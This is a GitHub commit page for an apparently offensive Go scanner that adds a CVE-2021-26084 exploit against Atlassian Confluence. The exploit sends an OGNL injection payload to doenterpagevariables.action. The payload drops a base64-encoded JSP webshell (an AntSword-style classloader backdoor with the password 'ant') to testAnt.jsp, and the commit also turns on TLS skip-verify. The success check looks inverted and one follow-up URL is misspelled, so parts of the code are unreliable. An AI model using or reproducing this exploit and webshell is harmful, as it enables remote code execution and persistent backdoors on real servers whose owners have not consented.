Skip to content

Commit 7193523

Browse files
committed
支持CVE-2021-26084漏洞利用,利用成功默认上传蚁剑
1 parent 6bda2ab commit 7193523

File tree

6 files changed

+77
-5
lines changed

6 files changed

+77
-5
lines changed

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,5 @@ logs.txt
66
**.zip
77
**.tar.gz
88
target.txt
9-
result.txt
9+
result.txt
10+
**.py

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,12 @@
1919

2020
* [x] 添加支持CVE-2022-22947 (Spring Cloud Gateway SpELRCE)
2121
* [x] 添加支持CVE-2022-22963 (Spring Cloud Function SpEL RCE)
22+
* [] 添加支持CVE-2021-26084 (Atlassian Confluence RCE)
23+
* [] 添加支持CVE-2022-22965 (Spring Core RCE)
2224
* [x] 自定义并发
2325
* [x] 自定义输出日志位置
2426
* [x] 自定义结果输出位置
27+
*
2528

2629
………
2730

cmd/commons/attack/attack.go

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,10 @@ func addPoc(pocs map[string]interface{}) map[string]interface{} {
2828
log.Debug("[*] Add PoC")
2929
// TODO 添加poc
3030
//pocs["demo"] = &poc.Demo{}
31-
pocs["CVE202222947"] = &poc.CVE202222947{}
32-
pocs["CVE202222963"] = &poc.CVE202222963{}
31+
//pocs["CVE202222947"] = &poc.CVE202222947{}
32+
//pocs["CVE202222963"] = &poc.CVE202222963{}
33+
pocs["CVE202126084"] = &poc.CVE202126084{}
34+
//pocs["CVE202222965"] = &_022.CVE202222965{}
3335
return pocs
3436

3537
}

cmd/commons/core/options.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ func ParseOptions() *Options {
5858
flag.Parse()
5959

6060
// TODO 修改版本号
61-
v := "0.0.4"
61+
v := "0.0.5"
6262

6363
if options.Version {
6464
//ShowBanner(v)

cmd/commons/poc/CVE-2021-26084.go

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
package poc
2+
3+
import (
4+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
5+
"github.com/fatih/structs"
6+
"github.com/imroc/req/v3"
7+
log "github.com/sirupsen/logrus"
8+
"net/url"
9+
)
10+
11+
type CVE202126084 struct{}
12+
13+
func (p CVE202126084) SendPoc(target string, hashmap map[string]interface{}) {
14+
reqinfo := NewReqInfo()
15+
reqmap := structs.Map(reqinfo)
16+
u := target + "pages/doenterpagevariables.action"
17+
shell := "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZhLnV0aWwuemlwLioiJT4NCjwlIQ0KICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgew0KICAgIFUoQ2xhc3NMb2FkZXIgYykgew0KICAgICAgc3VwZXIoYyk7DQogICAgfQ0KICAgIHB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7DQogICAgICByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOw0KICAgIH0NCiAgfQ0KICBwdWJsaWMgYnl0ZVtdIGRlY29tcHJlc3MoYnl0ZVtdIGRhdGEpIHsNCiAgICBieXRlW10gb3V0cHV0ID0gbmV3IGJ5dGVbMF07DQogICAgSW5mbGF0ZXIgZGMgPSBuZXcgSW5mbGF0ZXIoKTsNCiAgICBkYy5yZXNldCgpOw0KICAgIGRjLnNldElucHV0KGRhdGEpOw0KICAgIEJ5dGVBcnJheU91dHB1dFN0cmVhbSBvID0gbmV3IEJ5dGVBcnJheU91dHB1dFN0cmVhbShkYXRhLmxlbmd0aCk7DQogICAgdHJ5IHsNCiAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVsxMDI0XTsNCiAgICAgIHdoaWxlICghZGMuZmluaXNoZWQoKSkgew0KICAgICAgICBpbnQgaSA9IGRjLmluZmxhdGUoYnVmKTsNCiAgICAgICAgby53cml0ZShidWYsIDAsIGkpOw0KICAgICAgfQ0KICAgICAgb3V0cHV0ID0gby50b0J5dGVBcnJheSgpOw0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7DQogICAgICAgIG91dHB1dCA9IGRhdGE7DQogICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgfSBmaW5hbGx5IHsNCiAgICAgIHRyeSB7DQogICAgICAgICAgby5jbG9zZSgpOw0KICAgICAgfSBjYXRjaCAoSU9FeGNlcHRpb24gZSkgew0KICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGRjLmVuZCgpOw0KICAgIHJldHVybiBvdXRwdXQ7DQogIH0NCiAgcHVibGljIGJ5dGVbXSBiYXNlNjREZWNvZGUoU3RyaW5nIHN0cikgdGhyb3dzIEV4Y2VwdGlvbiB7DQogICAgdHJ5IHsNCiAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOw0KICAgICAgcmV0dXJuIChieXRlW10pIGNsYXp6LmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgU3RyaW5nLmNsYXNzKS5pbnZva2UoY2xhenoubmV3SW5zdGFuY2UoKSwgc3RyKTsNCiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgew0KICAgICAgQ2xhc3MgY2xhenogPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7DQogICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsNCiAgICAgIHJldHVybiAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpbmcuY2xhc3MpLmludm9rZShkZWNvZGVyLCBzdHIpOw0KICAgIH0NCiAgfQ0KJT4NCjwlDQogIFN0cmluZyBjbHMgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiYW50Iik7DQogIGlmIChjbHMgIT0gbnVsbCkgew0KICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGRlY29tcHJlc3MoYmFzZTY0RGVjb2RlKGNscykpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7DQogIH0NCiU+"
18+
// DoRunning.jsp
19+
data := "queryString=\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var b64Shell=\\u0027" + url.QueryEscape(shell) + "\\u0027;var shell=new java.lang.String(java.util.Base64.getDecoder().decode(b64Shell));var f=new java.io.FileOutputStream(new java.io.File(\\u0027../confluence/testAnt.jsp\\u0027));f.write(shell.getBytes());f.close();\\u0022)}%2b\\u0027"
20+
reqmap["url"] = u
21+
reqmap["method"] = "POST"
22+
reqmap["body"] = data
23+
reqmap["headers"] = map[string]string{
24+
"User-Agent": utils.GetUA(),
25+
"Content-Type": "application/x-www-form-urlencoded",
26+
}
27+
28+
// 默认配置
29+
reqmap["timeout"] = hashmap["Timeout"].(int)
30+
reqmap["retry"] = hashmap["Retry"].(int)
31+
reqmap["proxy"] = hashmap["Proxy"].(string)
32+
reqmap["mode"] = hashmap["Mode"].(int)
33+
34+
file := hashmap["Out"].(string)
35+
utils.Send(reqmap)
36+
37+
reqmap["url"] = target + "DoRnning.jsp"
38+
reqmap["body"] = "pass"
39+
40+
resp := utils.Send(reqmap)
41+
42+
if p.checkExp(resp, target, file) {
43+
context := target + " 存在CVE-2021-26084漏洞!" + target + "testAnt.jsp 蚁剑密码 ant "
44+
log.Info(context)
45+
p.saveResult(target, file)
46+
}
47+
48+
}
49+
50+
func (CVE202126084) init() {
51+
log.Debugf("CVE-2021-26084 init")
52+
}
53+
54+
func (CVE202126084) saveResult(target string, file string) {
55+
utils.SaveToFile(target, file)
56+
}
57+
58+
func (CVE202126084) checkExp(resp *req.Response, target string, file string) bool {
59+
if !resp.IsSuccess() {
60+
log.Debugf(resp.Dump())
61+
return true
62+
}
63+
64+
return false
65+
66+
}

cmd/commons/utils/httpclient.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ func InIt(mode int, timeout int, proxy string, retry int) (client *req.Client) {
1616
// 设置超时时间
1717
client.SetTimeout(time.Duration(timeout) * time.Second)
1818
client.SetCommonRetryCount(retry)
19-
client.DisableInsecureSkipVerify()
19+
client.EnableInsecureSkipVerify()
2020
// 设置代理
2121
f := IsProxyUrl(proxy)
2222
if f {

0 commit comments

Comments
 (0)